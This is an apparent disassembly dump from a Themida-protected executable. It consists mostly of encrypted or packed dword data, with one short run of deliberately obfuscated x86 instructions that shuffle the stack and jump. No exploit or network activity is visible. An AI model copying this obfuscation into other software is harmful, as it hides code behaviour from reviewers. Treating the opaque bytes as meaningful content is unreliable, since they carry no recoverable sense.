		dd 411D3E49h, 3BD72AF5h, 1E6A80E5h, 5AE53C25h, 6BD9253Dh
		dd 184B974Ah, 0D039F23Eh, 99511246h, 0C780CC83h, 780B7A60h
		dd 3CE5D8E5h, 5A525AE5h, 18560F2Dh, 0EA5C704Ch,	4A560F2Ch
		dd 17579E7h, 33560F2Dh,	0B51042CCh, 76DE2A40h, 66E12D25h
		dd 4AD52139h, 0F76CA7FFh, 0FB9D97E3h, 5B398FE8h, 1719Bh
		dd 0E95B3300h, 8F4475D3h, 0B2FC727Eh, 0D1304FC6h, 7955EF38h
		dd 4FC6B305h, 15210827h, 9348714Dh, 925FC47h, 8EB8A661h
		dd 0FFF11249h, 8C3BFD0Eh, 0E449DF3Bh, 0ADC124C3h, 0CB54ADB4h
		dd 0B7CD88B1h, 7ACF58A4h, 65B19893h, 0FDD1E2F8h, 560F5189h
		dd 0D384ABh, 0B2E34DB4h, 0ACCB54A0h, 90E16AB6h,	0F5A8DB44h
		dd 0AA38AAA6h, 960BCA90h, 9EC078C4h, 5B393001h,	81CD9EB7h
		dd 74BE0ADEh, 68B3h, 99506900h,	0A36FD24Dh, 0CF055B99h
		dd 0EC841071h, 0ED8BED82h, 0D24D994Ah, 0B3B7A36Fh, 4FC77A93h
		dd 0C7E55EC1h, 4FC77AD7h, 3A2E0733h, 3C573EECh,	80A99BA9h
		dd 0C661A4B6h, 0D5066292h, 8C75AEFAh, 7016DA82h, 9E4FC76Ah
		dd 0B793A4BDh, 4FC76AC7h, 0E863CA65h, 8C73B581h, 8E4F8A4h
		dd 4FC76A96h, 7C9F7B96h, 8Ah, 965A8612h, 4FC6B320h, 0E21ED14h
		dd 162A162Eh, 63DC2825h, 3F3834FEh, 0ED498EB9h,	74661912h
		dd 3737763h, 31560EBDh,	0BD0C82CEh, 120560Eh, 7B6F3028h
		dd 2158F42Fh, 95560EBCh, 0DB8F04BFh, 6ECEA58Fh,	7CE6EA56h
		dd 0EA4FD1B0h, 55CE1AD1h, 4A964BECh, 1C0E2801h,	550D2AF5h
		dd 0D0362844h, 1BF64FCDh, 61F739F2h, 1F3507A2h,	213C1D41h
		dd 410A560Bh, 7DF541E8h, 4990C315h, 2440F817h, 0BD423438h
		dd 0FF2560Eh, 0E95B3903h, 854975D3h, 4FC6B311h,	0EA358158h
		dd 610EF17h, 0A628925Eh, 0FD244989h, 0F13D1542h, 0F8441647h
		dd 0BCC4252Fh, 22785D0Fh, 307C6EE3h, 37835708h,	47934BECh
		dd 17404CFCh, 0D52CF743h, 47BC1739h, 45194793h,	0FB33529h
		dd 291D316Fh, 0B6F0FB3h, 1723FE24h, 0FE4C1E3Fh,	3134EC36h
		dd 4FD83153h, 3EEh, 1763A400h, 241F6B81h, 18135F73h, 1F287467h
		dd 221D6980h, 150E5A75h, 26216D62h, 16115D79h, 28236F69h
		dd 19125E77h, 0E6895674h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 56243489h, 0C681E689h, 4, 8704EE83h,	895C2434h, 89522404h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2414895Ch, 4F171968h
		dd 24048B06h, 8304C483h, 248904ECh, 24048324h, 50535A04h
		dd 85A895Bh, 24148B5Bh,	5E08950h, 4, 405h, 24048700h, 24048B5Ch
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF960FBh
		dd 63D14819h, 0D6B823EFh, 3064F1Bh, 50E0FFC5h, 813FFBF3h
		dd 0B40271A8h, 0E92811A8h, 0EDh
dword_5AE9F0	dd 0D88C6660h, 840F04A8h, 0DFh,	245B58Bh, 0FE830648h, 22850F00h
					; DATA XREF: Themida_:0053F958o
		dd 0C6000000h, 48276D85h, 69684506h, 0FF8E7269h, 482C21B5h
		dd 1E858D06h, 0FF064B83h, 698589D0h, 8B06482Ah,	0E93E80F0h
		dd 31850Fh, 858D0000h, 64D6265h, 0BD8BD0FFh, 6482279h
		dd 1184C781h, 0B58B0000h, 6480245h, 8B9F787h, 0F3000000h
		dd 45B58BA4h, 8D064802h, 4BB8A685h, 8BD0FF06h, 482979B5h
		dd 0FE8306h, 22850Fh, 85C60000h, 648276Dh, 0BEF46854h
		dd 0B5FFFF4Eh, 6482C21h, 831E858Dh, 0D0FF064Bh,	29798589h
		dd 0F08B0648h, 0FE93E80h, 3A85h, 79B58B00h, 8D064829h
		dd 4D626585h, 8BD0FF06h, 482279BDh, 84C78106h, 83000011h
		dd 0B58B08C7h, 6482979h, 8B9F787h, 0F3000000h, 79B58BA4h
		dd 8D064829h, 4BB8A685h, 61D0FF06h, 81858DC3h, 89064F1Ch
		dd 482BE985h, 12E806h, 0E7450000h, 0BE58FA36h, 21804C49h
		dd 0A94A45EEh, 7010E83Dh, 5ED08B66h, 7E9h, 765AA100h, 8BEB72DFh
		dd 72DEC681h, 860F0000h, 11h, 0BE8h, 0CB67D700h, 37B2C23Dh
		dd 365DD0D1h, 1C86B859h, 0B70F0000h, 6636FFD3h,	5B12F6BFh
		dd 7810Fh, 80600000h, 0CB8B49F3h, 0BCEB8161h, 0E962B291h
		dd 0Eh,	0C9493535h, 1AC8E326h, 31C79AA0h, 0C3816902h, 6DDD33Eh
		dd 0C5F6C381h, 860F5E19h, 3, 89FA8B66h,	0C88B661Eh, 8104EE83h
		dd 135EEC9h, 850F4839h,	14h, 25E9F08Ah,	39000000h, 6CC8F5F8h
		dd 0D0695EE5h, 7F5B2EC5h, 0E9CB8B66h, 0FFFFFF8Dh, 5F22B2AFh
		dd 2FF96FB0h, 8C2618D3h, 0F75995BEh, 0CE6D04EBh, 68E92DD0h
		dd 2D000005h, 3071EB37h, 2E6FE935h, 1546EE3Ah, 1243ED39h
		dd 0D847F13Dh, 26726DF2h, 28746D2Eh, 307C6F30h,	37835708h
		dd 795599FDh, 5615D105h, 8182CC27h, 75221D69h, 0E320E5Ah
		dd 0C6B34C42h, 0E641E04Fh, 909BA0Bh, 292D0954h,	0D166278h
		dd 902A786Ah, 0A8BD8ED3h, 78C49ABDh, 78B35AAFh,	6ADCF0CCh
		dd 0CA4FC75Dh, 0D38ACB67h, 166CBC87h, 4C984ABFh, 0C410C7F0h
		dd 0B46FBB93h, 0CC8DC14Dh, 0C19DCB17h, 0C75DB9ADh, 7A947B4Fh
		dd 82CE85D6h, 0ADC396C9h, 1F6C65B3h, 94B2946Ah,	0F14FB26Dh
		dd 0C75369DDh, 0BD64CB4Fh, 3097E9Fh, 0B0477A07h, 4FB26DB9h
		dd 0A5E35CB6h, 6C7FF4CFh, 73673820h, 1B901C27h,	0EB4FC6BEh
		dd 0B980EC5h, 0AD54F121h, 6C076E54h, 824E4D13h,	4FC5B90Ch
		dd 0E280120h, 6921h, 6981B500h,	617A221Dh, 317D6E84h, 0B7F84FD8h
		dd 2FDB557h, 620A24FDh,	4FC702EAh, 0B146077h, 1A25716Ch
		dd 32DD388Eh, 0B8B18AB6h, 55B0A26Ch, 0F165C4DFh, 1BF54h
		dd 81570000h, 700F1864h, 811E2975h, 710E1965h, 3C886076h
		dd 3C071E03h, 43FC481Bh, 8A3590E6h, 0FC7154AAh,	0C915CBE1h
		dd 0B3A7F860h, 8C75C19Dh, 6681DAA4h, 776E111Ah,	0F951202Bh
		dd 5CAAA51Ah, 0DCD328D5h, 0B45DC00h, 5D73664Fh,	15EC3783h
		dd 1D3522ECh, 2F2956D1h, 485985E3h, 0DC06A608h,	1E90DCFEh
		dd 0E4FC707h, 3DE43029h, 906492E2h, 9C763F76h, 0F9DCFAA3h
		dd 0F126F083h, 979354h,	38490000h, 0DAC015C2h, 626EDAD6h
		dd 4FC72EECh, 0EF55E140h, 2F7B5586h, 2D09550Ch,	60EB3730h
		dd 62DD293Fh, 57D01C35h, 68E32F28h, 0B05BBAE0h,	56CB0A60h
		dd 5AFB3581h, 2D796F85h, 2DF60FF2h, 0E634260Fh,	21ED95EFh
		dd 3F08214Ch, 570F50EAh, 0D242D409h, 12FB28FBh,	8F466C19h
		dd 0F13D7619h, 670D54h,	81A10000h, 6E111A66h, 49F6317Dh
		dd 2007408Ch, 1ABCEABEh, 2F291A92h, 0B20868E3h,	0BC08DE53h
		dd 0E5879E83h, 0B5A9C599h, 774FC774h, 0F9DC7E98h, 0D57FCB84h
		dd 1864816Bh, 8F44750Fh, 15210843h, 0C6B2E65Dh,	11F4224Fh
		dd 54A0B8A1h, 16079CBAh, 88B154F1h, 60C982CEh, 0B59D6h
		dd 2A0B0000h, 0CF32ED39h, 0F2B776Ch, 1B678135h,	2D7B6F10h
		dd 0FCD8FEDAh, 0CF1B3252h, 0FF4B0536h, 0FB44DD44h, 0EC37835Ch
		dd 14A964Bh, 2FDA394Fh,	37AC67FDh, 145BD521h, 0C300C24h
		dd 4A26372Bh, 4FC6B354h, 57D039D8h, 174C28F2h, 15498EBEh
		dd 746D4EFAh, 0C2178763h, 0FA15560Eh, 0E5311813h, 152B3F60h
		dd 2C18F13Dh, 3D06520Bh, 146073E4h, 4D0556FAh, 2CD52137h
		dd 2E202C10h, 0FE560EC2h, 0C21C925Eh, 0F110560Eh, 0E22E2718h
		dd 11360069h, 0EC21183h, 0B40F6556h, 75DF2B3Fh,	69E22E24h
		dd 0A19EE23Bh, 76B1FDD4h, 27537893h, 0C496C753h, 0C62AF78h
		dd 687E54C9h, 5008216Dh, 3940710Eh, 140125Bh, 0F6CA0000h
		dd 0ED264DAh, 0CA9FC856h, 0C55CC57Eh, 1D86D369h, 743BD23Dh
		dd 979A74BBh, 9DB18FA5h, 498F5062h, 9191F2CEh, 0B7828FBCh
		dd 4E80F682h, 4DB4560Fh, 87C05FC1h, 79ED01DDh, 0BB560F4Eh
		dd 0C59DBA54h, 0B7A3BF79h, 0F4EC3B3h, 67B3A656h, 89D660BFh
		dd 9DBA85D1h, 63AE79C5h, 7F53C80Bh, 2A241533h, 5AFC54DEh
		dd 5B39B045h, 3E3Eh, 0FF8DF600h, 0B177FDA0h, 5BA19B77h
		dd 5D71CF05h, 4FC6B2B9h, 4C0435h, 0D258E247h, 0E658F42Fh
		dd 244FC6B2h, 0D87C17EEh, 0D2BDD4A6h, 83AAFFAAh, 66509E5h
		dd 0C8674FC7h, 948D90h,	5B410000h, 4975D3E9h, 0C6B31185h
		dd 3480584Fh, 7BE733CEh, 135F765Fh, 323834F8h, 0DC362436h
		dd 8EE81790h, 61EA4549h, 4F1B2C3Eh, 560ED85Fh, 61DB32CDh
		dd 82DE2A40h, 8E338159h, 2A768CA0h, 0BA838F76h,	0EDAF7B2h
		dd 0BE156B56h, 0B459149h, 33371424h, 560EDB43h,	49F70EF1h
		dd 0D1D4D885h, 2237204Fh, 86E63CD6h, 0CDE8F46Ah, 30D9384Fh
		dd 469248F7h, 0DB27411Ah, 281DF950h, 2C401C68h,	4FCDE93Ah
		dd 55FB17FAh, 4B61E37Eh, 0E324511Dh, 0F71A4990h, 0E95B033Dh
		dd 704975D3h, 1F392A76h, 22B47D3h, 304989ADh, 312956D1h
		dd 30FB471Bh, 231430D9h, 64AE430h, 0F6317D55h, 0A876B85Eh
		dd 69AC026Ah, 0AA92DEF4h, 8A95E1F9h, 9AA5F1EDh,	0C83D98EEh
		dd 0CD8EC612h, 9F7EC915h, 3, 81176333h,	73241F6Bh, 6718135Fh
		dd 801F2874h, 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh
		dd 7728236Fh, 7419125Eh, 765868h, 24248900h, 4BF57h, 7C010000h
		dd 515F0424h, 0C181E189h, 4, 4E981h, 0C870000h,	2C895C24h
		dd 484E6824h, 1C890000h, 7CBF5724h, 81018134h, 0DF4C15EFh
		dd 0A6F7815Dh, 0D1354973h, 81D7F7E7h, 0B12FB7CFh, 55C78146h
		dd 572F8F2Eh, 8B545F5Dh, 0C481241Ch, 4,	1FA668h, 24048900h
		dd 4389E889h, 1C8B5808h, 0E0895024h, 405h, 4C08300h, 5C240487h
		dd 5D2434FFh, 0E904C483h, 0FFF959ABh, 0EFA0B5B8h, 0E74FB926h
		dd 0B8FCDF20h, 64F2325h, 0E0FFC503h, 3E911647h,	28CF6FC1h
		dd 6C8B35E9h, 3F790753h, 293B4F1Dh, 11789EEEh, 5C262A69h
		dd 39E49440h, 721104FDh, 64C83424h, 71275277h, 3C5F5668h
		dd 21A24A3Bh, 5902DFD5h, 0DA53Dh, 77CDAC7Ch, 62FFAC81h
		dd 5C353428h, 5D678B3Ah, 1452B314h, 2403887Dh, 4EA20E9Eh
		dd 3553FBA8h, 217B283h,	5BE022C0h, 72C42059h, 4189D074h
		dd 3872530h, 7DB831F8h,	25248D8Dh, 6A064Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 85249BC3h
		dd 0AC1B589h, 8D890648h, 6480A19h, 0F700E381h, 85C753E2h
		dd 6480F35h, 5B14h, 2295858Bh, 85C70648h
		dd 6482425h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 1FC35242h
		dd 0FBD4C596h, 0E46095FFh, 18D7D081h, 0B5FF1D04h, 648228Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0ACC35040h
		dd 9AF2DFF6h, 9675B1F1h, 0FF92B7F8h, 4820BD95h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0AE9D6ECh, 0CB000000h, 9C3A604Bh, 0F98B7A48h, 0ADB58913h
		dd 6606482Dh, 6B41DF81h, 95FF006Ah, 6483061h, 1AEBC08Bh
		dd 17BDB48Ch, 4D5B04AEh, 9AE2A9D9h, 0B523DE81h,	0D4622899h
		dd 4A47EBAEh, 4EB85D3h,	0B40BF88h, 0C3FE9h, 26E36800h
		dd 4E9064Fh, 68FFF958h,	64F27DBh, 0F957FAE9h, 29D368FFh
		dd 0F0E9064Fh, 68FFF957h, 64F2AF7h, 0F957E6E9h,	2DE968FFh
		dd 0DCE9064Fh, 68FFF957h, 64F2F67h, 0F957D2E9h,	303468FFh
		dd 0C8E9064Fh, 0EDFFF957h, 0F0B1ABF7h, 0EEAFA9F5h, 0D586AEFAh
		dd 0D283ADF9h, 9887B1FDh, 66B2AD32h, 68B4ADEEh,	70BCAFF0h
		dd 77C397C8h, 0B995D9BDh, 5615D8C5h, 86428C67h,	0F42F7B55h
		dd 934DF20Dh, 0FFEEFF4Bh, 0E4302233h, 3D18415Bh, 47D336F1h
		dd 17334416h, 4FC71727h, 48032A05h, 2FF84417h, 33A86B01h
		dd 3869D31Fh, 3D69D31Fh, 352B411Ch, 220740E9h, 47934718h
		dd 3B875BFCh, 59746501h, 0DD449043h, 0FC33FF62h, 3B875A3Ch
		dd 54F019F0h, 8EF62B78h, 99C8149h, 72E2074Dh, 74004BE2h
		dd 560F92FEh, 6C625369h, 0F8422720h, 922DA362h,	0F15B39F1h
		dd 31h,	0D3E95B85h, 9E825975h, 45EC498Eh, 0DEF872FAh, 6C69560Eh
		dd 5D782720h, 70691611h, 0E7461B24h, 0DC89348Fh, 16A91FF6h
		dd 6D5B3942h, 0BDh, 1D698101h, 0E5A7522h, 24706215h, 1A667C1Bh
		dd 0B67B9622h, 0CC9E4FC6h, 0A9C8AB7Eh, 14ED1AEDh, 51677B1Ch
		dd 6ED34C98h, 0CCF08C97h, 0C6EB8E00h, 0B7839E4Fh, 0BCA8C080h
		dd 8ED31BB0h, 62ED149h,	49F70D2Fh, 0D412F985h, 78E44B4Fh
		dd 703A885Fh, 67D06EAEh, 5EFF39D0h, 135F7389h, 226E6718h
		dd 9A14220Bh, 0D7CCBDC2h, 0A0EA98Ch, 0CE9E0000h, 0CC89DA82h
		dd 0D187D880h, 0D48ACB85h, 0D88FD088h, 0DB5A48Ch, 0D983CF88h
		dd 0CB85D188h, 0A38DD98Ah, 9C94E0F2h, 66D8F438h, 0C65615D9h
		dd 6681232Fh, 6981221Ah, 44163F1Dh, 34EF3B2Eh, 16EB34CDh
		dd 340854FCh, 0C6B32618h, 0F2B064Fh, 0D3E95B35h, 9E825975h
		dd 7BEC498Eh, 39F21B67h, 0EDF271Bh, 0B3124056h,	3941A23Dh
		dd 0EDE15Bh, 6A930000h,	1E59495Bh, 233D1E16h, 81013BD7h
		dd 75221D69h, 0D238495Ah, 4D47D0C5h, 0B9352947h, 18F74FC6h
		dd 3EE73327h, 10465705h, 0BF6E0E44h, 31C8A46Eh,	544FC74Ah
		dd 590A327Eh, 2E073581h, 1B24EE3Ah, 337F5881h, 320511F8h
		dd 824EFA12h, 498F3169h, 0D7005CC3h, 956CB703h,	0D862AEA2h
		dd 7187B980h, 0DF9EF7D3h, 6D944FD4h, 6FDFEBCFh,	0BD4FC8C5h
		dd 0AB8CD862h, 0AFF068B4h, 669E6CB8h, 43CCBD3Bh, 91605F8h
		dd 0B6A60000h, 0B4B1F26Ah, 0B9AFF068h, 0BC92C36Dh, 0C097C870h
		dd 755DBC74h, 0B1ABF7F0h, 83ADF9F0h, 7BB501D2h,	94BC08DAh
		dd 9E10DC00h, 8E5615DAh, 6681EB37h, 0F4D52E1Ah,	0E9352A09h
		dd 0FE200B5Eh, 0CF1B340Bh, 0FA14ED54h, 39310A56h, 0FA322428h
		dd 1F024FC6h, 372B2C06h, 43571EBh, 0DC45FE4Ah, 111A667Bh
		dd 8168DE38h, 163F1D69h, 0D52CF743h, 7F530439h,	0F56D0933h
		dd 6C4FC6B2h, 15896576h, 174FC6B3h, 60EB372Eh, 4F092009h
		dd 17105C0Eh, 1D267268h, 0AA1FF64Ch, 62AEA2B8h,	0B4CF91CBh
		dd 0CF54F115h, 0A3h, 0D3E95B67h, 7A704975h, 3F88E42Eh
		dd 6D498E94h, 87FB9992h, 0DA560ED9h, 0CE71BA06h, 0D256D11Dh
		dd 0A3BE69ACh, 0C5DA50B3h, 0BE5B3937h, 73h, 0B31D9658h
		dd 1E1E4FC6h, 81965A06h, 0B3498EABh, 0FC9EFE4Ah, 0D18F2991h
		dd 1036D187h, 3FF910E9h, 5FFD491Eh, 0B8D0D3Eh, 65B118B1h
		dd 91A799E0h, 0E0E897B3h, 0EB464FD6h, 0EF3B3071h, 392F0834h
		dd 43CF32EDh, 8344CECh,	8EE6A344h, 0A9A49149h, 11C6135Bh
		dd 0A38AE68Ah, 6D96D28Ah, 0C0505352h, 0A776C06Bh, 500h
		dd 15896579h, 17560F9Ah, 5B281EF8h, 4475D3E9h, 5807408Ch
		dd 17EA3581h, 343824EEh, 498EC057h, 93212A05h, 560EC01Fh
		dd 8A437448h, 0A75EF43Eh, 0DC22E637h, 62222C20h, 471A2571h
		dd 7D0254DEh, 65B3942h,	4B8h, 28AA4FA0h, 78640018h, 0C6B30274h
		dd 43CF324Fh, 960C5317h, 0D73A498Eh, 0A9EF0A06h, 4CECEC4Bh
		dd 3340834h, 7C26014Dh,	33CD7A5Fh, 0C62941CDh, 88F91BB2h
		dd 69DB9EA9h, 7FD9F553h, 0E7F35270h, 45D11DCEh,	3C203CE3h
		dd 55703E30h, 0ACA6EBFFh, 0AB92ABA4h, 0CA929C83h, 0BE0AC5F6h
		dd 0C5929C85h, 0C697C10Dh, 2C6AC814h, 6D6331E9h, 71E53C2h
		dd 0BEAE0000h, 0BC99CA72h, 0C197C870h, 0C49ABB75h, 0C89FC078h
		dd 7D45D47Ch, 0A993DFF8h, 9B95E1F8h, 0B39DE9FAh, 0ACA4F0E2h
		dd 76E80428h, 0B65615DCh, 5586131Fh, 0DF42F7Bh,	0B32B1B2Fh
		dd 26094FC6h, 4B974B0Ch, 0DEDE041Dh, 0E510E5DCh, 1B1DF449h
		dd 32DB273Bh, 57112A16h, 0D0432F0Bh, 98498EDEh,	0D05BA7BFh
		dd 1FA698B4h, 0AB86560Fh, 0BA06E182h, 0AC7E9871h, 0EAFED785h
		dd 0EFC8949Eh, 0D788B0FCh, 0D56FB804h, 1F71E5E9h, 5CC3560Fh
		dd 1FA49AD2h, 0D8D2560Fh, 63560F0Fh, 0C19DCBE1h, 0F2FB9ADh
		dd 0A8947B56h, 0F2FB2A4h, 939F8256h, 36A803C7h,	7B964FD7h
		dd 8FA894B0h, 0AC958EDAh, 0C72AAEA0h, 97A37E4Fh, 0C72A67DBh
		dd 0F3D2004Fh, 0F18C627Dh, 132154h, 5BB50000h, 5975D3E9h
		dd 498E97DAh, 0C332ED14h, 2Fh, 8D1D867Fh, 15088B7Ah, 390B2E08h
		dd 3E144523h, 2C882EF0h, 8D741D74h, 0F763AF92h,	95E1F2E3h
		dd 0A8F4ED8Ah, 2EBDB581h, 498EF1h, 81602621h, 0FB0D1D69h
		dd 0BECCBF29h, 5FA8075h, 0DA8A0000h, 0D8F5A68Eh, 0DDF3A48Ch
		dd 0E0F6A791h, 0E4FB9C94h, 19C1A098h, 0C56FBB94h, 0C771BD94h
		dd 0BF79C596h, 0D880CC9Eh, 0E2D498C4h, 525615DDh, 0E95B2F73h
		dd 0A25975D3h, 0C498EA7h, 657D1A25h, 540A2B19h,	50EA3F08h
		dd 9D776C08h, 90C46ED5h, 0A29B0460h, 7618A0E9h,	0E8342718h
		dd 28300A5Fh, 6BD9EF51h, 0EF5F6B4Fh, 3D70CA8Fh,	8F1C58E2h
		dd 5D6A9298h, 0FFD689C2h, 446C95B3h, 776C425Ch,	0C7AEA26Ch
		dd 0DD015F75h, 1E35A001h, 999D9933h, 1268CBBBh,	6CC66977h
		dd 0DA6FA300h, 0CA769970h, 92A294B9h, 7D996799h, 9EB6ACC8h
		dd 0B5AB70CAh, 0A8C1DE69h, 0EFC5E35Ch, 0D6FC6914h, 0FCF689FFh
		dd 0FF8D75F4h, 21000000h, 75D3E95Bh, 8EA7A259h,	1A250C49h
		dd 974F657Dh, 297AE24Bh, 425AE531h, 560858E1h, 590A94D4h
		dd 8448F40Dh, 560F7112h, 3733FF22h, 6ED646C4h, 46BB1A70h
		dd 4F104894h, 0A8D44F9Bh, 37C6B894h, 0CCA070CAh, 70CA37DAh
		dd 0B04FB75Ah, 0D150E66h, 273D8991h, 176377ECh,	1A667C1Dh
		dd 0E1F74811h, 70D76783h, 0FA15560Fh, 3349FB42h, 6C0E3915h
		dd 1204FD7h, 0F5411946h, 0FC481A3Bh, 544D2943h,	4F254FC7h
		dd 9FEBFF74h, 77C398C1h, 0E9F7B39Bh, 563B932Bh,	4A76D202h
		dd 1B4C1086h, 31FD24C4h, 1A667C1Dh, 0AD838311h,	61B73DD5h
		dd 0E9352DA2h, 39855A7Bh, 57FF1BEEh, 5C085406h,	0C17637Bh
		dd 54BA5633h, 230AA10Ah, 59EB2E17h
		dd 0E8392543h, 54EEC6F0h, 86F854B4h, 0A641DA51h, 0B400D88Bh
		dd 0FDDE025Ah, 0B78A95E1h, 5B9074Ch, 42CCA1CCh,	0A247912Ah
		dd 7CB45B3Bh, 5999h, 0E95B3500h, 28014D09h, 9833303Ch
		dd 46E9498Eh, 61765FFDh, 0C3350A15h, 0AA5DC1BBh, 0ED6AC45Dh
		dd 0B703DAF0h, 0C46C956Ch, 0D6B0C65Bh, 9FBD4D65h, 0F37CBDBBh
		dd 917891DDh, 85D182B3h, 0B19DB1A9h, 0BD560F89h, 97B3C49Ch
		dd 560F89A7h, 0B783AA85h, 0C20EC471h, 937AC6A1h, 6981DBA5h
		dd 0FC3C331Dh, 137478E4h, 41498EA3h, 825982DEh,	32A766Ch
		dd 0BF40D59h, 0F2B0960h, 9D4E0F2Bh, 0CFCFD14Fh,	5BB2BEB2h
		dd 0A1B789D0h, 3134A7C3h, 17FA4FD7h, 5D0A800Ch,	0F314FC7h
		dd 10FB12F7h, 37CEC0CEh, 4C664509h, 2912498Fh, 0D355E12Dh
		dd 7549F32Ch, 4C118549h, 0FC23560Fh, 0F4BFE70h,	75D32E56h
		dd 0F4BE559h, 4EE84756h, 0F4C2C26h, 34253B56h, 0EC55CE1Ah
		dd 5FD53022h, 5B39AE44h, 2E3Fh,	0E95BD700h, 47004C09h
		dd 38F33F18h, 73D138D1h, 8E97DC57h, 34EF1249h, 24C1h, 0ABBF9B00h
		dd 560ED8BBh, 0FF6D9679h, 1A70FD0Ah, 5BA0A670h,	45009E9h
		dd 213FE63Bh, 8EBBBE4Dh, 96917049h, 1D6981D0h, 0BF29F50Dh
		dd 8A6BB4CCh, 308h, 0C078C498h,	0C27AC69Fh, 0C17BC7A1h
		dd 0C27AC6A0h, 0C27AC6A1h, 0E1F67B63h, 0E7FA9B95h, 0EB00A19Bh
		dd 0EEE4B59Fh, 0FA26BAA2h, 15E080F6h, 0D11B456h, 3F1D6981h
		dd 0B35F4F1Bh, 32CD4FC6h, 2A405FE8h, 7E5982DEh,	610F932h
		dd 7959EB52h, 3316115Dh, 11626EDAh, 0A5498E92h,	448A0E7Ch
		dd 90E53E8Ah, 0A48690DFh, 0B0AAC27Dh, 0B7560F26h, 0ABD4447Fh
		dd 0CBD6CFD8h, 0ED6FCB1Bh, 5B3948D2h, 91DDF5E6h, 0C667B396h
		dd 49h,	0D3E95B60h, 11854975h, 234FC6B3h, 262A32FCh, 498E9ECDh
		dd 1D47001Fh, 3FDB273Ch, 0EDF3F33h, 0DF2B2256h,	0D31F3364h
		dd 62A1F958h, 69AC8AB7h, 0BF0BE0F9h, 41DEE173h,	0C9DA5B39h
		dd 0CB912793h, 0BE6FCBE0h, 0F4h, 53698158h, 11F8337Fh
		dd 5C704CF8h, 4FC6B2EAh, 0F24BE74Ah, 383C8A45h,	0A4C136ECh
		dd 0C0DF68C1h, 0B7E55EAAh, 61D7C7A3h, 0BA554FC7h, 0DAEBFF60h
		dd 0A39CE801h, 61BCB2BEh, 0A6AA4FC7h, 4FC761B0h, 0AA859D84h
		dd 0DBF4E583h, 43C4458Dh, 3EE7E5E7h, 0E3561A05h, 0D2EAD254h
		dd 3B77DF3Bh, 4FC71EA6h, 8BC511C9h, 53CC18CAh, 855C3EFEh
		dd 5874D039h, 498F1EC3h, 0E74E0629h, 4D213F55h,	4FD46EE8h
		dd 74EA0666h, 0B84FC98Fh, 0A894B059h, 63186557h, 0CB3A7D3Ch
		dd 0AD60CBA0h, 0F461AD0Bh, 0F4A58FDBh, 7D7F8FDBh, 38CCBD6Eh
		dd 18A0EEFh, 4A1A0000h,	480556FEh, 4D0354FCh, 50065701h
		dd 540B4C04h, 9D15008h,	0D57FCB84h, 0D781CD84h,	0CF89D586h
		dd 0A890DC8Eh, 72E4E834h, 0C25615E2h, 66811F23h, 6981221Ah
		dd 0B3229458h, 94474FC6h, 42AFF48h, 0F24C041Dh,	327E5586h
		dd 330610F9h, 814DFB11h, 498E9EAAh, 8A221D04h, 560EDF10h
		dd 2EA45F57h, 5B394191h, 0B4F2h, 69818C00h, 44163F1Dh
		dd 40DA2FF8h, 337F5807h, 726B4CF8h, 0ED36825Ch,	4921ED14h
		dd 4FC6B6B0h, 89B3FFD3h, 6DB602D8h, 0E07C94A4h,	8EB7770Ch
		dd 0E25AB549h, 0B593A99Bh, 0D4249599h, 0D7F3574Fh, 4FC95C67h
		dd 0F2FE6AC5h, 4FC95C7Ch, 8CB851B0h, 0F068B4ABh, 9E6CB8AFh
		dd 0CCBD8028h, 0BDF76611h, 4D000000h, 50114B97h, 4E0F4995h
		dd 0B5E64E9Ah, 0B2E34D99h, 78E7519Dh, 0C612CD52h, 0C814CD8Eh
		dd 0D01CCF90h, 0D7233768h, 1935795Dh, 5615E325h, 86E2EC07h
		dd 1067121Dh, 9E5DEAAh,	4FC72795h, 85917897h, 0E2EEFFD8h
		dd 4FC7276Ch, 90C861C0h, 65CF1BCFh, 1D69811Bh, 87617A22h
		dd 0FD19F03Bh, 223E8A60h, 43224501h, 0A497FC97h, 7CE55EAAh
		dd 65D79EB2h, 2ADDF14Fh, 8C4989EEh, 0E5FD9AA5h,	0ECFE9F99h
		dd 0DCFDA7A0h, 996EB905h, 0C620A822h, 0D35FC669h, 19268997h
		dd 0BC176D49h, 637D9347h, 0CC350C17h, 0D31F3364h, 0E32F2758h
		dd 73522868h, 0B8A0ECFEh, 9CA7F3E7h, 3B9h, 17635500h, 241F6B81h
		dd 18135F73h, 1F287467h, 221D6980h, 150E5A75h, 26216D62h
		dd 16115D79h, 28236F69h, 19125E77h, 54996874h, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	7148h
		mov	[esp], ebp
		push	7CC2h
		mov	[esp], edx
		push	49625F39h
		pop	edx
		dec	edx
		and	edx, 592A489Dh
		sub	edx, 42D32284h
		mov	esi, edx
		pop	edx
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, ebp
		mov	[eax], esi
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		db 25h
		dd 0E0204261h, 0E0165E48h, 4F3116B8h, 0FFC50306h, 0AF28CE0h
		dd 6AA4F97Dh, 17DA5E55h, 7646D558h, 107AE218h, 9C910E5Dh
		dd 0C304EB6Fh, 0E91ADDBBh, 5D6h, 90C814C8h, 92CA16CFh
		dd 91CB17D1h, 92CA16D0h, 92CA16D1h, 11C64B93h, 17CA8BC5h
		dd 1BD091CBh, 1E3465CFh, 2A766AD2h, 15E43026h, 0DDE10456h
		dd 94586981h, 4FC6B322h, 8438F47h, 7C240921h, 0C5EB7A48h
		dd 60EB42EBh, 80DC283Fh, 5B6F8057h, 4FC73FEBh, 0F33FE649h
		dd 17283A5Bh, 0C7406353h, 0D72ED14Fh, 5007304Ch, 4CE63B04h
		dd 400B570Bh, 1935461Fh, 4FC74025h, 46012807h, 0BC3194EAh
